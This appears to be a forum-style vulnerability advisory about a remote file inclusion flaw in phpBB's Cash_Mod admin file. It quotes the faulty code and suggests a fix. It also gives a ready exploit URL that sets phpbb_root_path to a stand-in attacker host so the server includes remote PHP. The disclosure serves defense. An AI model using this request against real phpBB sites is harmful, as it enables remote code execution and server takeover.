Hi all 

phpBB is a very popular message board using modules extensions. 

One of these module – Cash_Mod is a very popular one and is used by many people. It has critical vulnerabilities, one of them letting anyone inject malicious PHP code that will be executed on the server side. 

Let’s start : 

In file /admin/admin_cash.php 

….. 
if ( !empty($setmodules) ) 
{ 
include($phpbb_root_path . 'includes/functions_cash.'.$phpEx); 
$menu = array(); 
admin_menu($menu); 
…. 

First, nothing seems wrong! It’s just a normal piece of code with “include” functions, but 
$phpbb_root_path & .$phpEx – are *NOT* define yet! 


I don’t know why, but someone decided to define these variables later in the code : 

…… 
// 
// Let's set the root dir for phpBB 
// 
$phpbb_root_path = "./../"; 
require($phpbb_root_path . 'extension.inc'); 
require('./pagestart.' . $phpEx); 
include($phpbb_root_path . 'includes/functions_selects.'.$phpEx); 

….. 

Well, any user can rewrite these parameters with GET or POST requests. 

Example : 
http://victim.host/phpBB2/admin/admin_cash.php?setmodules=1&phpbb_root_path=http://bad.host/ 


Fix : 
Set all default parameters after “if ( !empty($setmodules) )” 

Example : 

// 
// Let's set the root dir for phpBB 
// 
$phpbb_root_path = "./../"; 
require($phpbb_root_path . 'extension.inc'); 
require('./pagestart.' . $phpEx); 
include($phpbb_root_path . 'includes/functions_selects.'.$phpEx); 

if ( !empty($setmodules) ) 
{ 
include($phpbb_root_path . 'includes/functions_cash.'.$phpEx); 
$menu = array(); 
admin_menu($menu); 


Thank you rofl!